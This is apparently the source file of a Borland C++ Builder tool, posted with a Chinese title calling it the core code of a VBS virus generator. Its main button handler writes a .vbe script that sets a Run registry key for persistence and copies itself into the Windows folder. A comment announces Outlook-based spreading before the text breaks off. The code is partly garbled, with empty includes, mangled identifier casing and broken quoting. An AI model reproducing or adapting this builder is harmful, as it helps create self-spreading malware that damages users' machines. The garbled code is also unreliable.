一个VBS病毒生成器核心代码

unIT1.cpp

//-----------------------------------------
#include
#include
#include
#pragma hdrstop
#include "UnIT2.h"
#include "UnIT3.h"
#include "UnIT1.h"
//---------------------------------------------------------------------------
#pragma package(smart_inIT)
#pragma resource "*.dfm"
Tform1 *form1;
//---------------------------------------------------------------------------
__fastcall Tform1::Tform1(TComponent* Owner)
: Tform(Owner)

{

}//---------------------------------------------------------------------------


//---------------------------------------------------------------------------
void __fastcall Tform1::Label1Click(TObject *Sender)
{
ShellExecute(Handle,NULL,"http://zsyangel.yeah.net",NULL,NULL,SW_SHOWNORMAL);
}
//---------------------------------------------------------------------------


//--------------------------------------------------------


void __fastcall Tform1::CheckBox3Click(TObject *Sender)
{
if (CheckBox3->Checked==true)
{
EdIT8-> Enabled=true;
EdIT8->Color=clHighlightText;
EdIT9-> Enabled=true;
EdIT9->Color=clHighlightText;
EdIT10-> Enabled=true;
EdIT10->Color=clHighlightText;}
else
{EdIT8-> Enabled=false;
EdIT8->Color=clBtnFace;
EdIT9-> Enabled=false;
EdIT9->Color=clBtnFace;
EdIT10-> Enabled=false;
EdIT10->Color=clBtnFace;}
}
//--------下面数行用来限制按健，防止无效数据，造成溢出-------------------------------------------------------------------



void __fastcall Tform1::CheckBox4Click(TObject *Sender)
{
if(EdIT4->Enabled==true)
{EdIT4->Enabled=false;}
else
{EdIT4->Enabled=true;}

}
//---------------------------------------------------------------------------


//---------------------------------------------------------------------------


void __fastcall Tform1::EdIT4KeyPress(TObject *Sender, char &Key)
{
if ((Key>57||Key<48)&&(Key!=8)&&(Key!=13))
Key=NULL;


}
//---------------------------------------------------------------------------

void __fastcall Tform1::EdIT8KeyPress(TObject *Sender, char &Key)
{
if ((Key>57||Key<48)&&(Key!=8)&&(Key!=13))
Key=NULL;

}
//---------------------------------------------------------------------------

void __fastcall Tform1::EdIT9KeyPress(TObject *Sender, char &Key)
{
if ((Key>57||Key<48)&&(Key!=8)&&(Key!=13))
Key=NULL;

}
//---------------------------------------------------------------------------

void __fastcall Tform1::EdIT10KeyPress(TObject *Sender, char &Key)
{
if ((Key>57||Key<48)&&(Key!=8)&&(Key!=13))
Key=NULL;

}
//---------------------------------------------------------------------------

void __fastcall Tform1::EdIT5KeyPress(TObject *Sender, char &Key)
{
if ((Key>57||Key<48)&&(Key!=8)&&(Key!=13))
Key=NULL;

}
//---------------------------------------------------------------------------


void __fastcall Tform1::Edit4ExIT(TObject *Sender)
{
AnsiString edit4=EdIT4->Text;
if (StrToInt (edit4)<1||StrToInt (edIT4)>10000)
{ ShowMessage("超出范围，请不要添太大或太小");
EdIT4->Text="";}
}
//---------------------------------------------------------------------------


void __fastcall Tform1::Edit8ExIT(TObject *Sender)
{

AnsiString edit8=EdIT8->Text;
if (StrToInt (edit8)<1982||StrToInt (edIT8)>2050)
{ ShowMessage("超出范围，请不要添太大或太小");
EdIT8->Text="2001";}
}
//---------------------------------------------------------------------------

void __fastcall Tform1::Edit9ExIT(TObject *Sender)
{

AnsiString edit9=EdIT9->Text;
if (StrToInt (edit9)<1||StrToInt (edIT9)>12)
{ ShowMessage("超出范围，请不要添太大或太小");
EdIT9->Text="1";}
}
//---------------------------------------------------------------------------

void __fastcall Tform1::Edit10ExIT(TObject *Sender)
{

AnsiString edit10=EdIT10->Text;
if (StrToInt (edit10)<1||StrToInt (edIT10)>31)
{ ShowMessage("超出范围，请不要添太大或太小");
EdIT10->Text="1";}
}
//---------------------------------------------------------------------------



//---------------主要代码------------------------------------------------------------



void __fastcall Tform1::BITBtn1Click(TObject *Sender)
{
AnsiString g=EdIT1->Text+".vbe";//在当前目录下生成VBE文件

i=FileCreate(g );
AnsiString a1=""Created by " ;
AnsiString a=EdIT2->Text;
AnsiString b="\r\n";
AnsiString z=a1+a+b;
char c[1000];
strcpy(c, z.c_str());

FileWrITe(i,c,strlen(c));

if (CheckBox1->Checked==true)//让病毒修改注册表项
{AnsiString a3=" Dim wsh\r\n Set wsh=CreateObject(\"WScript.Shell\")\r\n on error resume next \r\n wsh.regwrITe \"HKEY_LOCAL_MACHINE\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\\kv3000\",\"c:\\windows\\";
AnsiString a31=EdIT1->Text;
AnsiString a32=".vbe\"\r\n";
AnsiString a33="Set fso= Createobject\(\"Scripting.FileSystemObject\"\)\r\nSet InF=fso.OpenTextFile\(WScript.ScriptFullname,1\)\r\nDo While InF.AtEndOfStream<>True\r\nScriptBuffer=ScriptBuffer&InF.ReadLine&vbcrlf \r\nLoop\r\nSet OutF=fso.OpenTextFile\(\"c:\\windows\\";
AnsiString a34=EdIT1->Text;
AnsiString a35=".vbe\",2,true\)\r\nOutF.wrITe ScriptBuffer\r\n ";
AnsiString a4=a3+a31+a32+a33+a34+a35;
char c1[10000];
strcpy(c1, a4.c_str());
FileWrITe(i,c1,strlen(c1));
}

TabSheet1->Enabled=true;
TabSheet1->Show() ;
TabSheet0->Enabled=false;
}
//---------------------------------------------------------------------------

void __fastcall Tform1::Label4Click(TObject *Sender)
{
ShellExecute(Handle,"open","mailtzsy2@cITiz.net",NULL,NULL,SW_SHOW);
}
//---------------------------------------------------------------------------

void __fastcall Tform1::BITBtn2Click(TObject *Sender)//此几行代码负责病毒从outlook传播
{